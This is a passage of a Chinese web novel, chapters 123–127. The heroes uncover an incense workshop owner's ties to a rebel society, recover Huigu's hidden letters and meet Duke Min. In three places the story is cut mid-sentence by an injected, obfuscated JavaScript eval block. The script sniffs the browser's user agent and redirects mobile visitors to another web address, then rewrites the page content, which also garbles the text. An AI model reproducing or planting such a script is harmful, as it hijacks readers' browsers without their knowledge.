不知蒋文彦对穆岚说了什么,穆岚竟然提出让蒋文彦与他们一同去东云巷的货仓。 一路上,蒋文彦的目光一直往宋颜夕身上瞟,似乎有话要对她说。 不过碍于这儿还有许多外人,他最终还是把话都憋了回去。 抵达东云巷之后,宋颜夕便明白穆岚为何会让蒋文彦跟着了。 “真是没想到啊,蒋公子对香料竟然也有研究。” 蒋文彦憨笑一声:“我自小便寄宿在外祖父家,而我外祖父与结香坊的坊主又是多年好友,所以我几乎就是在香料窝里泡大的。说起香料啊,我还从中研究出几味药方呢……” 蒋文彦滔滔不绝地讲着,宋颜夕却捕捉到一个关键点。 “闵国公与穆坊主竟然是至交好友?我瞧着穆坊主不过不惑之年吧。” “哦,我说的是前任穆坊主,也就是岚姨的父亲。” 宋颜夕了然,怪不得结香坊的生意能做得这么大,这背后,只怕少不了闵国公的帮忙。 “怎么样贵客,我这批货可还能入你们的眼?” 穆岚的声音打断了他们的交谈。 最终,南宫景以何越之名和结香坊签订了大额订单。 商议了细节之后,一行人回到客栈。 刚踏进门,宋颜夕就把蒋文彦抵在墙角。 “师父,您这是做什么?”蒋文彦小心翼翼地问道。 “把你知道的关于结香坊的事情都说出来。” 蒋文彦脸色微变:“所以,你们根本就不是真心和岚姨签下订单?你们是……在调查结香坊?” “没错。” 宋颜夕并没有打算隐瞒:“我们的人在结香坊失踪了,生死未卜。所以,我必须知道结香坊究竟是什么来头。” 在最初的惊愕之后,蒋文彦很快就恢复了往日的神色。 “这你们就误会岚姨了,她啊是十里八乡出了名的大善人,你们的朋友失踪,肯定和她没有关系。” 按照蒋文彦所说,穆岚是那种走在路上连蚂蚁都舍不得踩死的人。 木坊城曾经发生一次洪灾,当时,朝廷的赈灾款迟迟没有拨下来。多亏了穆家打开粮库赈济灾民,这才让木坊城的百姓度过那次危机。 正是因为如此,上一任穆坊主也是因为仁爱之举深得闵国公信任。 否则,他也不会将蒋文彦这唯一的外孙扔给穆岚照顾。 “你与穆岚相识多年,可知她为何不成亲?”问话的是推门而入的南宫景。 进门后,南宫景将宋颜夕拉到一边,这才让蒋文旭喘了一口气。 蒋文彦朝南宫景投去感激的目光。 师丈果然是师丈,缕缕救他于危难之中。 他想了想,最终还是将那件事说了出来。 “你是说,穆坊主曾经有一个深爱的男人,但就在婚礼前夕,那个男人失踪了?” “是啊,这事儿我还是听舅父说的。不过此事,另有玄机。” 蒋文彦的小舅舅曾经追求过穆岚,是以知道一些内情。 虽然他小舅舅闭口不谈当年和穆坊主有私情的那个男人到底是谁,但他曾经在醉酒之后说过一句话。 第123章:遇害之地 “你小舅舅说,穆岚为何宁愿选择一个乱党,也不愿意和他在一起?” 蒋文彦点头:“当时我还小,不懂舅舅那句话的意思。如今想起来,岚姨的那位意中人,怕是当时就已经被朝廷……” 他一边说,一边比了个划脖子的动作。 “不过师父师丈你们可别误会,岚姨这些年来一直都在行善,她的善举,木坊城的百姓都是看得到的。” 宋颜夕和南宫景对视一眼,穆岚为人如何有待商榷。 但她那个“乱党”情郎,就让他们不得不联想到另一个人了。 “你可见过此人?” 他们拿出董昌的画像给蒋文彦辨认。 蒋文彦摇了摇头,表示从未见过此人。 还没等他们分析出穆岚和董昌的关系,穆岚却先一步把他们告上了公堂。 理由是,他们所交付的“订金”是假银票。 “这不可能!”公堂上,林昊据理力争,“这银票是我从通济钱庄取出来的,上面还盖着通济钱庄的信戳,怎么会有假?” “胡说八道,这上面根本就没有通济钱庄的信戳,你们这些外乡人,还真是撒谎不打草稿啊。” 木坊城的镇府使姓钱,单名一个来字。 因为这个名字的关系,他自小就对钱颇有研究,不管是哪个钱庄兑换的银票,只需一眼就能瞧出真伪。 当钱来把那些银票洒到他们面前的时候,林昊立刻捡起其中一张。 很快,他的脸色就变了。 “这不是我交给郑掌柜的银票。一定是他们偷梁换柱了。” 作为南宫景的贴身护卫之一,林昊不可能犯这么低级的错误。 然而除了他们自己人之外,在场并没有人相信林昊的话。 原因无他,穆家在木坊城的名声实在是太好了。好到根本就不会有人相信穆家会做出一丁点儿恶事。 “慢着!” 就在钱来打算将他们关入牢房的时候,南宫景开口了。 “如今双方各执一词,且都拿不出确凿证据,孰是孰非难以定夺。钱大人如此武断,怕是有违我朝律法吧?” “大胆刁民,你是在教本大人办案吗?来人呐,把他们拖下去,重打三十大板!” “我看你们谁敢?” 林昊、左翼、紫翎、春分同时上前一步,将南宫景和宋颜夕护在身后。 那架势,大有那些人敢动手就将他们扭断脖子的意思。 “哟,还敢反抗,再加二十大板。” 钱来一声令下,两旁的衙役立刻冲上去试图按压他们。 “等等!” 眼见紫翎等人就要动手,宋颜夕赶紧用眼神制止他们。 “其实,要证明这银票是不是我们给的,很容易。” 宋颜夕上前一步,指着林昊说道:“我们的这位兄弟家里是杀猪的,手上常年沾了猪油。被他摸过的银票,只要浸在水里便会浮现一层油渍。” 钱来嗤笑一声:“你说他是杀猪的?可知道糊弄本官是什么下场?” “草民哪儿敢糊弄您啊,难道,他长得不像杀猪的吗?” 所有人同时摇头:“不像。” 却见林昊挺着胸脯往前大走一步:“没错,我就是杀猪的。” 为了证明他的话,他甚至握着拳头比划了一下肱二头肌。 “大人若是不信,大可先看看他的手。” 很快,衙役就端来两盆清水。 宋颜夕拉着林昊,毫不犹豫将他的手塞进了盆里。 被宋颜夕拉住的时候,林昊感觉到她在自己掌心涂了什么东西。 很快,水面上浮起一层油渍。 他们又将那些银票放入水中,水面干净透彻,除了一些泛黑的墨影之外,再无其他。 “大人请看,这便足以证明这银票并非是我们交给郑掌柜的。” 宋颜夕的话铿锵有力,钱来顿时看向郑掌柜。 “郑明,你该不会是在戏耍本官吧?” “草民怎么敢欺骗大人呢?一定是这些人,他们在水里动了手脚。” 郑明想要解释,宋颜夕却不给他这个机会:“郑掌柜这话说的很有意思,无论是水还是盆,都是官差大哥准备的。这要是这么说的话,岂不是说官差大哥和我们勾结?” 官差表示,这锅他们不背。 最终,钱来判定本次诉讼证据不足,不予受理。 从府衙出来的时候,南宫景赏了郑明一个冰冷的目光。 那一刻,郑明只觉得后脑勺一紧。 一种窒息感扑面而来。 “原来,结香坊就是这样做生意的。何某受教了。” “何公子,此事我可以解释的。一定是有人偷换了银票。对,肯定是这样。” “原来是这样啊!” 宋颜夕道:“结香坊竟然出现内贼,郑掌柜还是赶紧回去向穆坊主禀报吧。既然银票没有问题,你我之间的合约照常。这一年的货,还请你们尽快备好。” 郑明朝他们拱了拱手,面容尴尬地离去。 郑明离开之后,蒋文彦闻讯赶来,一起来的,还有舒妤。 “师父,钱大人没为难你们吧?” 宋颜夕摆了摆手:“我们有没有作奸犯科,钱大人怎么会为难我们?倒是你啊,怎么能让舒妤姑娘出来吹风呢?” 舒妤脸色一红:“宋姑娘误会了,是我担心你们,非要跟着蒋公子出来。” “舒妤姑娘不必担心,这一切都是误会。” 宋颜夕一边说,一边拉着蒋文彦走到一边:“说起此事,蒋公子还得多关心关心你的岚姨……” “什么?竟有此事?” 听了宋颜夕的话之后,蒋文彦直接往结香坊的方向而去。 舒妤朝他们福了福身,立刻小跑着跟了上去。 她的布子迈得很大,几乎几步就追上蒋文彦。 “舒姑娘的动作还挺矫健。”林昊说了一句。 宋颜夕但笑不语。 “姑娘,接下来,咱们去哪儿?”紫翎问。 “去惠姑遇害的地方看一看。” 惠姑遇害的地方是在一座废弃的香料作坊里。 还没走到门口,他们就闻到一股血腥味。 宋颜夕皱眉:“都这么久了,血腥味竟然还没散?” 他们并没有在里面找到尸体,而是在作坊后面的山丘上找到了一些新立的坟冢。 林昊和紫翎同时开口:“难道是刘朗立的坟?” 说完,他们对视一眼,又同时转过头去。 “快看,这边有问题。” 第124章:小心有迷香 随着春分一声轻呼,所有人立刻跑到那座矮小的坟冢前。 左翼蹲下去,捻了捻黄土,道:“这座坟被翻过。” 这个结论之后,所有人都达成一个共识——开坟。 “果然是空坟。” “这里面原本埋着的会是谁呢?” “很简单,咱们把其他坟都挖开看看不就行了?” 所有人都看向左翼:“你行,你来啊?” 左翼是个行动派,你一句挖坟,他是真的说挖就挖。 而且,他的动作很快,不过一会儿就挖了三座小土丘。 其他人看不下去,只能被动加入挖坟队伍。 “你这位兄弟到底是干什么的?这挖坟的动作,未免太熟练了。” 没人注意的时候,宋颜夕扯了扯南宫景的衣袖,压低声音问道。 南宫景挑了挑眉:“他啊,在跟我之前,是倒斗的。” 宋颜夕露出果然如此的神色。 “都挖开了。” 因为没有棺椁,尸体几乎已经腐烂。但可以确定,那些都是男尸。 也就是说,那个被翻过的坟冢里原本躺着的,很有可能就是惠姑。 “惠姑的尸体怎么会不见了呢?难道是,刘朗?” 南宫景摇了摇头。 这个可能性并不大。 若真是刘朗把这些人掩埋在此,他没道理把人埋了之后再重新挖出去。 但若不是刘朗偷的尸体,又会是谁呢? “或许,我们应该重新查一下这个惠姑了。” 惠姑家住石仓巷,无父无母无子无女,而且生性孤僻,和邻里走动不多。 提到惠姑的时候,邻里的反应出奇一致。 “你们说那个人啊?独来独往,奇怪的很。” “她不爱收拾自己,一年到头就穿那么两件衣服。不知道的还以为她是乞丐呢。” “有一次,我家没米了,想上她家借一点,没想到这人直接把我轰了出来。也不知道是不是家里帮了什么宝贝,整天就守在屋子前,谁来了都不让进。” “说起来我已经好几天没见过她了,咋了,她是犯什么事了吗?我跟你们说啊,别看那人奇奇怪怪,但人不坏的,这中间可能是有什么误会。” 尽管邻居们都表示和惠姑不熟,但很奇怪的是,他们都认为,惠姑是一个好人。 正如邻居们说的一样,惠姑的家门口挂着三把厚重的大锁。 “锁成这样,该不会家里真藏了宝贝吧?” 宋颜夕朝紫翎使了个眼色,紫翎立刻揽着她从墙头翻了进去。 手伸到一半的南宫景:…… 抬头四十五度仰望天空,嗯,今天天气不错。 林昊、左翼不约而同别过头,他们什么都没有看见。 他们并没有在惠姑家里发现什么宝贝。 除了一些日常的锅碗瓢盆之外,似乎并没有多余的物品。 他们里里外外翻了三次,都没有找到可疑物品。 “很奇怪。” 宋颜夕坐在院子里,托着腮思考。 “我也觉得有些不对劲。”南宫景在她对面坐下,一边说,一边看向宋颜夕。 “总觉得少了些什么。” 宋颜夕扣了扣桌面,到底少了什么呢? “我知道了。” 最后,她一拍桌子站了起来。 “不是少了什么,而是多了。” “多了?” “没错。” 宋颜夕冲进惠姑的卧房,深吸了一口气。 “这个房间,多了香气。” 按照他们之前调查的情况来看,惠姑是一个性格孤僻,不爱与人交往,不施粉黛的人。 换句话说,她应该是一个极为邋遢的人。 他们在惠姑的屋内甚至连梳妆台都不曾看到。 但就是这样一个邋遢的人,卧房之内竟然还惨存着香料的残留气味。 惠姑已经遇害多日,香味久之不散,说明那香料还藏在屋内。 “仔细搜,一个角落都不许放过。” 很快,他们就在床榻的夹层里发现了一个香粉盒。 “这香可不便宜。” “不仅不便宜,我还在另一个人身上闻到过这种香。” 在所有人的注目礼下,宋颜夕缓缓开口:“穆岚。” 她虽然对香料没有特别的研究。但她是学医的,辨别草药的时候免不了要“闻”。 所以,她几乎可以肯定,这香料的气味与她在穆岚身上闻到的有九成相似。 “也就是说,这款香料出自结香坊?” “又是结香坊?” “不仅如此,惠姑还十分宝贝这盒香料。” 若非如此,也不会特意藏在床底下的夹层里。 甚至还用布包了好几层。 “看来,这结香坊,咱们势必是要再去一趟了。” 离开石仓巷后,他们并没有直接去结香坊,而是走访了另外几家香料作坊。 果然如他们所猜测的那样,市面上没有一家香料作坊的香与惠姑藏起来那盒一样。 惠姑和结香坊之间,一定有某种联系。 或许,刘朗就是知道了这个,所以才会把见面地点安排在结香坊。 正当他们试图以另一种方式查探结香坊的时候,蒋文彦带来一个消息。 “你说,穆坊主设宴,要因为假银票之事向我们道歉?” “是啊,这件事已经调查清楚了。是一个叫好赌的工人做的,他偷偷从郑掌柜那儿偷了银票还赌债,这次已经不是第一次了。我已经向岚姨说明咱们之间的关系,而且告诉她,你们也是因为我的引荐才选择和结香坊做生意的。岚姨得知此事,便托我与诸位说清个中缘由……” 蒋文彦向他们说着调查结果,字里行间都在为穆岚说好话。 最后,宋颜夕“勉为其难”接受了他的劝说。 当他们抵达结香坊的时候,穆岚和郑明已经等候多时。 “贵客来了,快请坐下。” 郑明热络地招呼他们,那殷勤的模样,仿佛不久之前把他们送上公堂的人不是他似的。 靠近穆岚的时候,宋颜夕果然闻到了同样的香味。 “穆坊主身上用的是什么香?可真好闻。” 酒过三巡,宋颜夕脸色酡红,抓着穆岚的胳膊不放。 穆岚面不改色:“不过是普通香料罢了,宋姑娘若是喜欢,我可送你几盒。” “那就多谢穆坊主了。” 宋颜夕佯装醉酒,抱着香氛盒“咯咯”直笑。 宴席散的时候,还赖在结香坊不肯离去。 穆岚无奈,只能安排人在客房住下。 住的依旧是之前郑明安排的那几间。 刚进屋,宋颜夕立刻脸色一正:“小心,屋内有迷香。” 第125章:无名墓碑 穆岚不愧是用香高手,她将**混在香料里,一般人还真的无法发现。 宋颜夕给他们服用了解药,然后让他们各自回房。 夜半时分,几道黑影潜入他们所在的屋子。 月色透过窗格洒落下来,黑衣人手中的刀反射着清冷的光。 “哐!” 刀落下的那一刻,被窝里的人也掏出武器迎了上去。 刀光剑影之间,还伴随着一道道闷哼声。 宋颜夕点燃烛台上的蜡烛,一把扯下那个被紫翎按压在地上的黑衣人的面巾。 “是你啊,郑掌柜?” 郑明目露凶光,一双眼死死盯着宋颜夕:“你们,到底是什么人?” “当然是普通的生意人了。” 宋颜夕居高临下地看着郑明:“不过我看郑掌柜就不同了。**的手法如此娴熟,该不会,结香坊做香料生意是假,其实是个土匪窝吧?这样子的话,我可得请钱大人好好查查你们这结香坊了。” “一人做事一人当,今日的事都是我一个人做的,和结香坊没有关系。” 郑明想要把锅都自己背了,但显然,现实不允许他这样做。 就在他话音落下的时候,林昊和左翼押着另外两个黑衣人走了进来。 走在最前面的,是南宫景。 “可有结果?” 宋颜夕冲他眨了眨眼。 南宫景“嗯”了一声:“已经招了,是穆岚指使的。” “他们在胡说,此事和坊主没有关系,坊主根本毫不知情。” 宋颜夕勾了勾嘴角,看向窗外:“穆坊主,你可都听到了?你的属下对你很是忠心呢。你确定要让他们丧命于此吗?” 没多久,窗外就响起一阵轻笑声。 “看来,你们早就怀疑我了吧?我很好奇啊,我到底是哪里露出马脚的?” 说着,窗户从外面打开,露出穆岚那张风华绝代的脸。 不过此刻,那张脸上多了一些阴狠之色。 宋颜夕走到窗边和她对视:“我们起初只是怀疑,最终确定,是因为你身上的香。” “香?” 穆岚呆愣片刻,随即恍然大悟:“原来如此。” “惠姑的尸体,是你盗走的吧?”宋颜夕问。 穆岚点头:“没错。” “那刘朗呢?他的失踪,也与你有关?” “刘朗?” 穆岚摇了摇头:“我不认识他。” “怎么会不认识呢?”说话的是林昊。 他从怀中掏出一卷画像,“有人曾见过你和他发生争吵。” 穆岚盯着画像看了一会儿,道:“原来是他啊。没错,我的确见过这个人。那日,他拿着惠姑的遗物来找我,说惠姑有一样很重要的东西放在我这儿,让我交给他……” 按照穆岚所说,那日,刘朗顺着从惠姑身上找到的线索找到她,让她交出物证。 穆岚不信他,误将刘朗当成了敲诈勒索的**犯,于是和他发生口角。 “后来,我找到了那人口中的坟冢。也挖出了惠姑的尸体……但我还是不信他。我认为,是他杀了惠姑。所以,我做了一个局。” 这个时候,南宫景开口了:“你所谓的局,便是这个吧。” 他的手指指向香炉,道,“你谎称要将东西交给他,却又暗中将他迷晕。这手法,怕是与今日对付我们的如出一辙。” 穆岚笑言:“没错,不过我没想到,你们要比他厉害多了。” 林昊抽出手中的剑指向她:“说,刘朗现在何处?是不是被你杀了?” “我可是正经商人,怎么会做出**越货的事呢?那个人,被我送官了。” 几人同时愣住:“你说刘朗被关在牢房里?” 南宫景一个眼神,左翼立刻退了出去。 随即,穆岚便和郑明几人一起被控制起来。 没过多久,左翼便拎着一个人进来了。 “还真是刘朗啊。” 宋颜以拿着画像比对,很快就确定了这人的身份。 此时的刘朗一身伤痕,而且他整个人看起来没精打采的,想必是被下了猛药。 宋颜夕掏出银针在他身上扎了几下,又取出几枚丹药给他服下。 恢复气力之后,刘朗下意识要给南宫景行礼,却被林昊拦下了。 从刘朗口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15423826|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们得知,当时围剿他们的是一批训练有素的**。 虽然那些**全都黑巾蒙面,但刘朗判断,那些人极有可能是军人出身。 南宫景脸色一沉,手中的青瓷杯应声而碎。 也就是说,那个在背地里和巫黛勾结,杀害月容的,极有可能是他们东越武将。 “何二哥,你这么激动做什么?”宋颜夕看了他一眼。 南宫景按下心头的情绪,没有回答她的问题,反而是盯着刘朗:“若让你在遇见他们,可能认出来?” 刘朗“腾”地站了起来,拍着胸脯保证:“属下可以。” 那眼神,坚定得像要入朝似的。 有了刘朗的证词,他们可以确定穆岚并没有撒谎。 “所以,你认为是刘朗杀了惠姑。那日,你见我们在调查惠姑,所以觉得我们是刘朗的同伙?” 穆岚点头:“没错。” “你和惠姑是什么关系?” “朋友。” 穆岚并没有细说,但宋颜夕总觉得她们之间的关系并没有这么简单。 “惠姑的尸体呢?”宋颜夕又问。 穆岚犹豫片刻,最终将他们带到了结香坊种植香草的那片山林里。 他们在一处山坳见到了新立的坟冢。 墓碑上只写着两行字“幽谷生嘉卉,清芬享玉容”。 “为何不刻名?”宋颜夕问。 穆岚看向那墓碑,沉默半晌才道:“故人已去,这尘世间的名与利,都已经与她无关了。我只希望她来生能活得自在。” 看得出来,穆岚对惠姑是有真感情的。宋颜夕也没有多问。 只不过,在最后离开的时候,还是忍不住看向那墓碑上的字。 她总觉得,有哪里不对劲。 “穆坊主,你现在应该知道我们不是杀害惠姑的人了吧?她放在你这儿的东西,能否交给我们?” 回到结香坊,宋颜夕便向穆岚索要那样物证。 穆岚原本是不想把东西给他们的,是蒋文彦拍着胸脯保证宋颜夕和南宫景绝对不是恶人,她才将东西拿了出来。 看到那样东西的时候,宋颜夕沉默了。 第126章:闵国公 那根本就不是什么物证,而是一件破旧的衣裳。 “我是在饥荒之年捡到惠姑的,那个时候,她饿得一头栽倒在河里,差点就被淹**。当时,她身上除了这件破旧衣裳之外再也没有其他值钱之物。将她救醒之后,她便非要将这衣裳典当给我。说起来,她也真的是个知恩图报的……可惜……” 当时,穆岚收下了这件衣裳,却并没有要她报答的意思。饥荒过去后,惠姑便在木坊子安了家,隔三差五的总会给穆岚送些瓜果蔬菜。 穆岚不好推辞,便将随身的香料赠给了她。 “惠姑曾说,她很喜欢我做的香料。希望有朝一日,能在房子周围都重满香草。但,她种香草的手艺……” 宋颜夕观察着那件衣裳:“所以,你才把她的尸体重新安葬?” “如此,也算是完成她生前所愿吧。” “她最近一次送你的瓜果蔬菜呢?”宋颜夕检查了那件衣裳,并没有发现有用的线索。 穆岚:“都在厨房放着呢。” 最后,他们在卷心菜中发现了一把钥匙。 “钥匙有了?可是锁在哪儿呢?” “我知道了。” 宋颜夕打了个响指,“我们再去一趟惠姑家。” “那个水缸,砸开它!” 宋颜夕绕着房子转了一圈,最后,指着墙角城南水的水缸说道。 紫翎是和行动派,宋颜夕的话音刚落,她便朝那水缸冲了过去。 “乓!” 水缸应声而碎,里面的水落了一地。 很快,他们就发现了端倪。 “大家快看,水渗透下去了。这儿有暗门。” 顺着春分所指的方向看去,他们果然看见所有水都朝着同一个方向涌动。 没多久,他们便发现了暗门。 那是一个类似地窖的地方,里头光线很暗,摆着一些凌乱的杂物。 挖开杂物之后,一把锁赫然出现在他们面前。 “快看看匹不匹配!” 紫翎将那把钥匙插入锁芯微微一推。“咖嚓”声顿时响起。 “还真对上了。” 在那个暗柜里,他们发现了一些残旧的卷轴,还有一些残缺不全的信。 大致可以推断,董昌是在为一个叫“屠龙会”的组织做事。 而这个“屠龙会”,便是试图颠覆东越江山的乱党。 其中有一卷卷轴提到西菱,原来,这个“屠龙会”早在七年前就已经和巫黛勾结了。 在那卷轴的最末端,印着巫黛的专用印鉴。这个图案,宋颜夕最熟悉不过。 “各取所需是吗?” 虽然没有明确表示,但宋颜夕几乎可以肯定,这个所谓的“需”,就是那至高无上的位置。 “此事事关重大,这些证物交给我们保管。” 南宫景一个眼神,林昊和左翼就上前一步,却被春分、紫翎拦了下来。 “不行,这东西是我们的。” 这可是她们扳倒巫黛的罪证,绝对不能让他们带走。 林昊好言相说:“紫翎姑娘,这不是你们能解决的事情。把东西给我们,除了我们家王……咳咳咳,总之,这件事只有我们家公子能解决。” “只有他能解决?怎么解决?” 宋颜夕问的是林昊,看向的却是南宫景:“这可是乱党啊,你们这些山贼,凭什么解决?” “我们可不是……” 林昊的话还没说完,就被南宫景打断:“我自然有我的办法,你若信我,这东西便给我。但你若不信……” “我若不信,又如何?” 南宫景忽然笑了:“你若不信,大可带着这些东西离开。反正我一个山贼,这江山乱与不乱,都跟我没有关系,对吧?” 林昊和左翼闻言,同时一怔。 他们家王爷没发烧吧? 这可是危害社稷的乱党啊!!! 不应该拿着证据,顺藤摸瓜,将这个所谓的“屠龙会”连根拔起吗? “也罢,这东西就放在你们那儿吧。” 这话是宋颜夕说的。 这次,轮到紫翎和春分不淡定了。 还没等他们开口询问,宋颜夕已经将那东西交到林昊手中。 “不过我可有言在先啊,这东西若是磕了碰了少了,拿你是问。” 林昊赶紧点头:“放心吧宋姑娘,属下一定好好保管。” 不仅要好好保管,还要从中挖掘出更多线索呢。 回去的路上,紫翎忍不住将宋颜夕拉到一边,问出心中的疑惑。 宋颜夕笑言:“你真以为那何二哥只是山贼吗?那些东西交到他手里,会有更大的价值。” 紫翎:“姑娘的意思是?” “借力打力。” 她虽然还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430765|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道那男人的真正身份,但至少到目前为止,他们的目标是一致的。 她在东越人手有限,根本不可能挖出那“屠龙会”的幕后掌权人。 若能借力打力,她便可釜底抽薪,斩断巫黛一臂。 另一边,林昊和左翼也在窃窃私语。 “你说宋姑娘这是什么意思?就这样把这些物证给我们了?” “大概是因为信任吧!” 林昊笑得单纯,毕竟,宋姑娘与他们王爷,是拜过堂的关系。 左翼怀疑地看向宋颜夕的方向:“是吗?” 就在这时,耳边忽然响起一道阴恻恻的声音:“你在怀疑她对我的信任?” 左翼顿时后脊背一凉:“属下不是那个意思。” 南宫景拍了拍林昊的肩膀:“既然物证已经到手,就好好查。” 说完,他又压低声音补了一句:“顺便查一查国师和这件事有没有关系。” 林昊精神一振:“属下定不辱使命。” 这么多年了,王爷终于要对那个神棍下手了吗? 想想,还挺激动的呢。 “师父,师丈!” 走到半路,忽然看见蒋文彦在对面冲他们招手。 和上次一样,舒妤跟在他身侧。 “蒋公子是特地在此等我们的?”宋颜夕问。 “外祖父听说了师父的事迹,想请师父过府一叙。” “闵国公?” 闵国公是三朝元老,他的邀请,便是南宫景也不好推辞。 刚走进国公府,就见一白胡子小老头健步如飞地朝他们这边飞奔而来。 那热情高涨的气势,差点儿没把宋颜夕吓得夺门而出。 “哎呀,这就是我们家彦儿新拜的师父吧?果然是年轻有为,年轻有为啊。” 老头一上来就抓住宋颜夕的手,不由分说拉着她往里走。 “来来来,我带你四处转转。我跟你说啊小丫头,到了这儿就跟到了自己家一样,都别跟我客气啊。” 眼见宋颜夕被闵国公一路拖走,南宫景忍不住皱眉:“国公这是何意?” 蒋文彦不好意思地挠了挠头:“我外祖父就这个性子,师丈你别介意啊。” “师丈?” 闵国公立刻停下脚步,转身看向南宫景。 “王爷何时成的亲?怎么也不叫老头儿喝杯喜酒呢?” 第127章:当年 “王爷?” 宋颜夕似笑非笑地看向南宫景:“国公口中的王爷,指的该不会是你吧?” 南宫景立刻朗声说道:“这儿哪儿有王爷啊,国公怕是老眼昏花,看错了吧?” 闵国公凑近一看,长长“哦”了一声:“还真是老眼昏花了,还以为看到王爷了呢,没想到是个俊俏后生。” 他将宋颜夕的手塞到南宫景手中:“来,俊俏后生,你牵着丫头。老头我眼神不好,怕把小丫头带偏咯。” 说完,他大笑三声,捋着胡子朝庭院的方向走去。 “这个闵国公,挺有意思啊。何二哥,你觉得呢?” 宋颜夕意有所指,南宫景面不改色:“大概,上了年纪的人都这样吧。” 闵国公邀请他们过府,似乎真的只是想见一见他们,用了膳便让蒋文彦送他们回去了。 几个时辰后,已经离开的南宫景再一次回到国公府。 刚进门,小厮便将他领到了国公所住的庭院。 “看来,国公知道我会回来。” 看着石桌上摆放整齐的两个茶盏,南宫景瞬间了然。 “王爷心中有疑问,自然会回来寻找老夫。王爷,坐!” 南宫景坦然坐下,却并未饮茶。 “既然如此,本王就不拐弯抹角了。不知国公对穆岚,知道多少?” 闵国公的态度倒是和之前没什么两样,依旧是笑眯眯的:“小岚这个人啊,有胆识也很有主见,是个做生意的好料子。你看看,结香坊被她经营得多好啊。” “国公应该知道,本王问的并非这些。” “老夫知道王爷为何而来,若我说穆岚与乱党毫无干系,王爷可信老夫?” 南宫景看着他并未说话,良久才开口:“若得国公作保,本王自然是信的。” “哈哈哈,老夫果然没有看错人。战王殿下颇有玉将军当年的风范。” 玉将军,是当年大长公主参军时皇帝敕封的封号。 南宫景笑言:“阿姊也常常念叨国公您呐。” 闵国公虽是文官,却也曾经上过战场。他,那个时候,他是大长公主的军师。 是以,蒋文彦才会跟着他拜见过大长公主。 也正是因为这样,南宫景对闵国公的态度便与旁人不同一些。 “小岚这丫头性子倔,不会将那些事情说出来的,不如,就由老夫告诉你吧。” …… 离开国公府之后,南宫景一路慢悠悠地往回走。 走到一处石桥时,忽然转身说道:“出来吧。” 桥下,宋颜夕探出头来:“何二哥好耳力。” 她三两步跑到南宫景身边,抬头问到:“闵国公都跟你说什么了?” 南宫景不答反问:“你怎知我会回到国公府?” “真当我傻呢?老实说,你跟国公认识吧?” “我跟他……” 南宫景原本想扯个慌的,但话到嘴边又拐了个弯:“确实认识。” “那,你真的是东越王爷?是哪家王府的?” “这个……” 看着眼前这个充满活力的女子,南宫景忽然很想和她坦白。 若他告诉她,他知道她的过去,也清楚她想要什么,而且还能帮她复仇。她会不会,给他一个辩解的机会? “逗你玩的,你要真是王爷,能混进相府给我当护卫?” 宋颜夕的声音,成功把南宫景到嘴的话堵了回去。 “你也知道,国公是老顽童嘛,我们曾在江湖上见过。当时我为了追查一批赃款,伪造了王爷的身份。” 宋颜夕不以为意地挥了挥手:“所以,他到底跟你说什么了?” 闵国公告诉南宫景,穆岚当初的确有一个意中人,原本已经要成亲了。 可就在成亲之前的那几天,结香坊的商队遇上了劫道的土匪。当时负责押送货物的,正是穆岚。 为了救出穆岚,她那位意中人答应了土匪一些条件。 “那些人,并不是土匪,而是屠龙会的乱党吧?” 南宫景点头:“没错。” 穆岚的那位意中人就是在那个时候加入屠龙会的。 一开始,屠龙会只让他提供一些资金支持。 但后来,对方要求越来越过分。 为了不拖累穆岚,他只能离开了木坊城。 “那些乱党没再找穆家的麻烦吗?” 南宫景摇了摇头:“不知道那人做了什么,总之,自从他离开之后,穆家风平浪静。” 宋颜夕又问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430766|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位意中人的名字,闵国公可知晓?” “重云。” 宋颜夕呆愣片刻,虽然是在意料之中,但真的听到,还挺令人唏嘘的。 “所以,惠姑只是一个幌子。他真正让你找的人,是穆岚。” “恐怕,董昌早就知道有人会在木坊城埋伏,所以才虚晃一枪。用惠姑迷惑了那些人。” 这么多年,惠姑其实都只是董昌和穆岚之间的联络人罢了。 至于董昌那个死去的孩子究竟是谁所生,他们也不得而知。 “你说,她会后悔吗?”宋颜夕问。 南宫景:“你说,惠姑?还是穆岚?” 宋颜夕摇了摇头,转身往回走:“罢了,后悔不后悔的,又和我们有什么关系呢?” “接下来,你有什么打算?”这一次,是南宫景在问。 宋颜夕看向西方:“有个地方,我是一定要去的。” 只是现在还没把巫黛的那条臂膀折断。她还不能回去。 南宫景大概猜到她的想法,轻轻“嗯”了一声:“左右我也没什么事,你若有用得上的地方,尽管开口。” “哟,何二哥今日如此大方?” “我哪日不大方了?” 